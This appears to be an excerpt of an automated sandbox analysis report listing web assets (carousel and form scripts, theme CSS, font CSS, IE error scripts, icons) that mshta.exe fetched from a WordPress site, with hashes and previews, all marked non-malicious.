Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. /./. Owl carousel. * @version 2.3.4. * @author Bartosz Wojciechowski. * @author David Deutsch. * @license The MIT License (MIT). * @todo Lazy Load Icon. * @todo prevent animationend bubling. * @todo itemsScaleUp. * @todo Test Zepto. * @todo stagePadding calculate wrong active classes. /.;(function($, window, document, undefined) {.../.. Creates a carousel... * @class The Owl Carousel... * @public.. * @param {HTMLElement\|jQuery} element - The element to create the carousel for... * @param {Object} [options] - The options.. /..function Owl(element, options) {..../... Current settings for the carousel.... * @public... /...this.settings = null;..../... Current options set by the caller including defaults.... * @public... /...this.options = $.extend({}, Owl.Defaults, options);..../... Plugin element.... *

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\owl.theme.default.min[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1013
Entropy (8bit):	5.21364895278629
Encrypted:	false
SSDEEP:	24:0/emCtetORzuZiqMdhuzTqgfkPH2nouoKLn7tk8:uZo8WSZiqMAqgfW8L9d
MD5:	594B81805A98B267E47C70A8FAD30D9F
SHA1:	684D84EC40B305CA14EFC88C91F12972CB6342B4
SHA-256:	924B0DC630D1C5DFF9FA31AEAD9509775B1D476BFE0A5AC2977B2F11205A26AC
SHA-512:	B0C5ED30D2F5CD1CE894760A12E8CCD80A822D447D1760B8FF4E5C75BC638CB491BCC40872210F090668FBE9E4EE0A3706D4AE2BD91F6BFB3E6B87F88B9A4B93
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. /..owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highlight-color:transparent}.owl-theme .owl-nav{margin-top:10px}.owl-theme .owl-nav [class=owl-]{color:#FFF;font-size:14px;margin:5px;padding:4px 7px;background:#D6D6D6;display:inline-block;cursor:pointer;border-radius:3px}.owl-theme .owl-nav [class*=owl-]:hover{background:#869791;color:#FFF;text-decoration:none}.owl-theme .owl-nav .disabled{opacity:.5;cursor:default}.owl-theme .owl-nav.disabled+.owl-dots{margin-top:10px}.owl-theme .owl-dots .owl-dot{display:inline-block;zoom:1}.owl-theme .owl-dots .owl-dot span{width:10px;height:10px;margin:5px 7px;background:#D6D6D6;display:block;-webkit-backface-visibility:visible;transition:opacity .2s ease;border-radius:30px}.owl-theme .owl-dots .owl-dot.active span,.owl-theme .owl-dots .owl-dot:hover span{backgr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\scripts[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	14585
Entropy (8bit):	5.05967424474738
Encrypted:	false
SSDEEP:	384:Y0KR2j16xNN7FUx4fCauIC+V+oeBKdYYJfRscKvVJVw1Iv3S3OVKEkl9UQznC:Rrj16xNN7Cx4fj4+WVJ/v3ZVAC
MD5:	80F051B85C7CC301D20DC6C522C71814
SHA1:	D8344EEE926EBE2F35396F51CFA5614CB4307B40
SHA-256:	C6138C4B65AAFF6E46D51C26096FFFFADD202974003AD0F6D4475B45204BD0AB
SHA-512:	24BF9B3B18299B678273D028F81BB9B5816E2EB98402D6CD9ADAAEA755C56F6D1FC2E49B2F86248DFAE341E7127458DC0BD2F62C41DC020E16D251FD3E0262A2
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
Preview:	( function( $ ) {...'use strict';...if ( typeof wpcf7 === 'undefined' \|\| wpcf7 === null ) {...return;..}...wpcf7 = $.extend( {...cached: 0,...inputs: []..}, wpcf7 );...$( function() {...wpcf7.supportHtml5 = ( function() {....var features = {};....var input = document.createElement( 'input' );.....features.placeholder = 'placeholder' in input;.....var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];.....$.each( inputTypes, function( index, value ) {.....input.setAttribute( 'type', value );.....features[ value ] = input.type !== 'text';....} );.....return features;...} )();....$( 'div.wpcf7 > form' ).each( function() {....var $form = $( this );....wpcf7.initForm( $form );.....if ( wpcf7.cached ) {.....wpcf7.refill( $form );....}...} );..} );...wpcf7.getId = function( form ) {...return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );..};...wpcf7.initForm = function( form ) {...var $form = $( form );....$form.submit( function( event ) {....if ( typeof window.FormD

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\scrollShowTime[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text
Category:	downloaded
Size (bytes):	1506
Entropy (8bit):	3.8120848042014237
Encrypted:	false
SSDEEP:	24:qzzEbPmDAFSbEigNMtDsmkKnxN8kKOx0STxHxKfZlJhYCpI0:+EKxJrk5kfdcfHkCB
MD5:	6B49B3E0D4EBC1DC791F05F077A218C4
SHA1:	710F5BA21E2E6BFAC71559BA8B3AB5AF5685A856
SHA-256:	A3A8314DF976D890F6389F1F9AA6B955A5069FBBF8EC6B546E6EDAF298B2DD93
SHA-512:	1A96C3D8D6514F95480C971A172A86046A2D534253EF0800A75D8F8834208F9954B9D0FAA344C9AA5CB2B796F520A5FD25FBDA9BA3F070AC5458E58681C38873
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Preview:	.(function($){. $.fn.scrollShowTime=function(o){. var getOption = {. correctionY: 100. , onShow: function(){}. }. $.extend(getOption, o);. . return this.each(function(){. var _this = $(this). ,topOffset. ,windowHeight. ,_visible=false. ,_win=$(window). ,_doc=$(document). ;. init();. function init(){. setTopOffset();. _this.addClass('hide_state');. addEventHandler();. }//end init. function setTopOffset(){. topOffset = _this.offset().top;. }. function addEventHandler(){. $(window).on('scroll',function(){. setTopOffset();. positionListener();. }).trigger('scroll');. . $(window).on('resize', function(){. setTopOffse

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\style[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	369
Entropy (8bit):	4.540020121615135
Encrypted:	false
SSDEEP:	6:U2LyinnK9NPF3SgcIdRVOlasFoybT4vF3Sg2OjC/ir7Ql3Q8sC:U2Llnn8PF3fnVO4sF1XMF32WiwC
MD5:	894A154E267382CF65B478B759115923
SHA1:	ECFFCAEAC680371DF912387314F648F2DA111E19
SHA-256:	875858A39A88A7E765F15CF95E6B8CCD5D647C5617F7241C8637959ECAA1508C
SHA-512:	02F39EB5B6C33DC76C6900644F58D69DAD08BE287409D23BA64963EA6105DF9ECE46128DD5A2731E5675E0DC7CA7ABE9485E8E5CB22ADE6303840ECCB2544FEC
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/style.css
Preview:	/--..Theme Name: theme51253..Theme URI: http://info.template-help.com/help/..Description: A theme for Wordpress 4.4.x..Author: Template_Help.com..Author URI: http://info.template-help.com/help/..Template: CherryFramework..Version: 3.1.5.--/../* ----------------------------------------..Please, You may put custom CSS here.---------------------------------------- */.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\style[2].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	66002
Entropy (8bit):	5.19992445499213
Encrypted:	false
SSDEEP:	768:RnQmALZc3HQApqPQ5j2m7Y414TtS6c9eu4SqSIGyU8O/sXi:+mN3kQ5noSWqyU8O/sXi
MD5:	47F3B539EC47105303FE88C5B4DB8BB8
SHA1:	7452E7208C3718CF250E126015876A0D09576818
SHA-256:	B6DF3EA0DB277CDC16BD73D0D3FC2422976E289F3C6E181E5EDF46AADA3B21C1
SHA-512:	70311C6FA62A73C78FAF2974E39B39C35C7413BE826A050D22E06E8C1FB695672063EE84D883F8D737F8578DC86CE2B64BD01B2E97D45DA84AA9A233ECCF3EA2
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
Preview:	body { position:relative; }..ie8 body { min-width:980px; }.@media (max-width: 767px) {..body.cherry-fixed-layout {...padding-left:0 !important;...padding-right:0 !important;..}.}.@media (max-width: 767px) {..body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {...padding-left:20px;...padding-right:20px;..}.}.body[class*="span"] {..position:static;..float:none;..min-height:inherit;..margin-left:inherit;.}.a { outline:none; }.a:focus { outline:none; }..main-holder {..position:relative;..z-index:1;.}..cherry-fixed-layout .main-holder {..margin:0 auto;..max-width:980px;..width:auto;..background:#fafafa;.}.@media (min-width: 1200px) {...cherry-fixed-layout .main-holder { max-width:1210px; }.}.@media (min-width: 768px) and (max-width: 979px) {...cherry-fixed-layout .main-holder { max-width:764px; }.}..header {..position:relative;..z-index:99;..padding:30px 0;..border-bottom:1px solid #DDD;..background-color:#eee;.}..logo {..position:re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\superfish[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2913
Entropy (8bit):	5.1479046643148605
Encrypted:	false
SSDEEP:	48:uDmDV1xEm0TSDDdVVsIro4VmfYIy8G7HzjiYqcq6nQxzRqnICijh2eqicoj:uDmDOjKDdVpro4VmmjiYPq2ICQdcoj
MD5:	259022BDE29C49E9D273D33493BD7B01
SHA1:	16A4305C60037A05644EEF5BD7C1AFC5BBD5D74A
SHA-256:	6301E8E9AB12CACCBF4EB772E114D56F4BDF3A27875CDCAB57E8E8AF5E04CB5A
SHA-512:	9E627852C7F6AF6EFA7BB74A812875D5907A8EFCAFF761EA815A99281EE2076233103A701319637417B1FC923E27658DD7F701CCCBDA9F9B1C06A8644CE18A73
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
Preview:	(function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> »</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type\|\|"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,.e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type\|\|"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},m=function(c){var b=a(this

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\warning[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\warning[2]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\arrow_down[1].png

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	PNG image data, 5 x 3, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	208
Entropy (8bit):	5.9194278840524825
Encrypted:	false
SSDEEP:	3:yionv//thPlgolljvrtxBlly43gqwkBDjW3PsFmzRgK3MkOl0tDlWyxtl22Wf4Fm:6v/lhP+4ZQynDi3U6GCMkdVx22W7dp
MD5:	20A650477130C7C2C62C5647131F545B
SHA1:	4615101FCC5DF1FAB3E7DD516D058E1052A8FCB2
SHA-256:	068F35DD132804C7EFFCBCA65F9398D34351339ED2FA7B20EF5E9A6221E76516
SHA-512:	9B5F312C3CE5E504DE7B2B1EE4BDF21F8A27E04329B2793E12F685D70E53D02CBB5E3094F83950573E814303900B77F099331DD4106FB534773D6D60736CA003
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
Preview:	.PNG........IHDR.............[6......sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.01/09/10......(IDAT..]....0..@....G..HUy........`.FM[......[..g....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\bootstrap-grid.min[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	15140
Entropy (8bit):	5.208958193254912
Encrypted:	false
SSDEEP:	384:R8xYxpW3Jzw4g0mCZuUwG8Su9uteW5GF1Eh:R8expW3JzwbCUUC3GGf2
MD5:	C3AFA9C619C14F0C3B0CA0BB13F12BD9
SHA1:	F3A2FE1CD8A2A51B7EBFE402D983DC7F16DBA5AA
SHA-256:	DE56C5F70EA565FDC866ADE91C95AB84151F55E030F861B3509141B24FD54733
SHA-512:	74B50CA4FC1D2EB7E6855036CEC9E86ECCA75BF8E05A965D5424B14551F4EC1969A3F94327E8042A48F2EF826D0F27166ACD1479D3105B814325708B4222FBB6
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8
Preview:	.mp-row{margin-left:-20px;zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-span11{width:860px}.mp-span10{width:780px}.mp-span9{width:700px}.mp-span8{width:620px}.mp-span7{width:540px}.mp-span6{width:460px}.mp-span5{width:380px}.mp-span4{width:300px}.mp-span3{width:220px}.mp-span2{width:140px}.mp-span1{width:60px}.mp-offset12{margin-left:980px}.mp-offset11{margin-left:900px}.mp-offset10{margin-left:820px}.mp-offset9{margin-left:740px}.mp-offset8{margin-left:660px}.mp-offset7{margin-left:580px}.mp-offset6{margin-left:500px}.mp-offset5{margin-left:420px}.mp-offset4{margin-left:340px}.mp-offset3{margin-left:260px}.mp-offset2{margin-left:180px}.mp-offset1{margin-left:100px}.mp-row-fluid{width:100%;*zoom:1;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mp-row-fluid:before,.mp-row-fluid:after{dis

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cherry-plugin[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	31422
Entropy (8bit):	5.000880526077528
Encrypted:	false
SSDEEP:	768:TFGFeFRavlJesa3UrJB2ZJFqxF1lFGFesjFXF643F933gVFAMF9J:TIEra9gsa3UrJB2ZJMzlIEsjhEoL33U1
MD5:	8ADC9563E564E9A3DE844DF686CAE8A5
SHA1:	B97B5FCAD7BEA9E7D88B0462AAA9D3D24376C3E8
SHA-256:	B04E93D31D6325159B13956EA9CF31A8B1DB7A02AFD91E781609ADFA651AEF18
SHA-512:	C4406AFE68209188474D5960A5DB5E9769E001C648D8B70C9204A3FB6EA7D4F161CD5FA2D349024F7B9F5E9AD145E51A91DD285CE062742CBA29A106C68D03C8
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Preview:	/* #Shortcodes.================================================== /./ Recent Posts Shortcodes.---------------------------------------- /..recent-posts {. overflow: hidden;. margin: 0 0 0 -20px !important;. padding: 0;. border: none;. list-style: none;. / Images Format Type /. / Quote Format Type /. / Link Format Type /. / Audio Format Type /. / Video Format Type */.}..recent-posts_li {. margin: 0 0 20px 20px;. padding: 0;. border: none;. background: none;. list-style-type: none;.}..recent-posts_li .featured-thumbnail {. float: left;. margin: 0 20px 0 0;.}..recent-posts_li h5 {. margin-bottom: 0;. font-size: 1em;.}..recent-posts_li .excerpt {. margin-bottom: 1.5em;.}..recent-posts_li .meta {. display: block;. overflow: hidden;. margin-bottom: .5em;. color: #888;. text-transform: uppercase;. font-size: 10px;.}..recent-posts_li .post-date {. float: left;.}..recent-posts_li .post-comments {. float: right;.}..recent-posts .format-image {. float: left

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\css[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	154
Entropy (8bit):	5.123661053174663
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFU/w7fqzNsqcdjKI9tB8gfKRfvYvn:0IFFN+56ZP7izNspdP9D8LAv
MD5:	B3F631391C5184932BA0D5AE887A2924
SHA1:	EC95EEB6AEC69F4EC64F20D53B807802716468CD
SHA-256:	2E3EDCE076C67951659C01C1A4B07592E6E9FF327D2C89EE660BBF47E2887D9F
SHA-512:	B840688F47BE36DD829F1473FB47E0703519968705D0324C62A3D081E557E8F5DC44F6EC7A2148A5B7567EA9800B171FA9F70E198E1948EE6E3006360D3FAD92
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:100
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 100;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\css[2].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.1208073656474
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFWYhfqzNsqcdjKIsfn6vYvn:0IFFN+56ZzhizNspdPsyAv
MD5:	F123470D54A5D2FFAADD149D5AD1AAB0
SHA1:	3C2F20E79789430AA00C6D7905C3CBF5C397F9A4
SHA-256:	9E9E61C05174FAB73421B450A65AB5882D2953DA2BC4501212CAE8F3C53B358C
SHA-512:	2ABF321BFFD8233E19D8BB5FFE9FF5D93E1C9E41B0AF63067CC2DA13DFCD80176D3D9D6762D5D36CBE379B5DC122A24A8B190CE6ACDAD5C3CE3D4F754FB58CF0
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:300
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 300;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\css[3].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	152
Entropy (8bit):	5.082226381168297
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
MD5:	2BC56AB743AAE5AAC9AAC55D0850AAC5
SHA1:	BFB989317C6BAAE1BAD28B90D9535B19BE847827
SHA-256:	5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
SHA-512:	FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:400
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\css[4].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.138466900917678
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFS/w7fqzNsqcdjKIsk2SU6vYvn:0IFFN+56ZN7izNspdPsk2SU6Av
MD5:	61D55D02CF44B8A326A1504988A4955C
SHA1:	1641427E2A855C452FF71C3DD8014419376A30AD
SHA-256:	313F45400B50542F391871B43C708EADBDB23BFD4549EB8017A7192351FC41E4
SHA-512:	E8C3F9EEB19793334FDBF6CDE1731F09900F5BC20FAF3A1B6F76B796FCACB31324109280489923EBB66BEDEE242A6CD8B6654D80D95D9F523EC12CF633816127
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:700
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 700;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\css[5].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.133627878467913
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFcYFTfqzNsqcdjKIsWg6vYvn:0IFFN+56Z1FTizNspdPsWg6Av
MD5:	BC9F29EE3D832A38F914975FD3C14848
SHA1:	970307BD837AB5B3380A1BAE698091F2E080F5E3
SHA-256:	EE49572B06F53A4EA8DB5798B07507AA2D3E535FF443C27AE315177B0164FF42
SHA-512:	EBFADAD58232A738039F1D75523E3CB36928E4E2846A60CCA8B66AC7820666F7A6523AAF2622CD05B3102DCA4F61BAAA4EC7001C8A5D8D7B0D340E4976456370
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:900
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 900;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\device.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2778
Entropy (8bit):	4.92970371310333
Encrypted:	false
SSDEEP:	48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
MD5:	CCD1C11A6BA5DF0CBFC470B04A3739F4
SHA1:	A8864D81DE7689672EF8F916E430AAABF563C22D
SHA-256:	A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
SHA-512:	31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
Preview:	/! device.js 0.1.58 /.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\error[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
IE Cache URL:	res://ieframe.dll/error.js
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\error[2]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
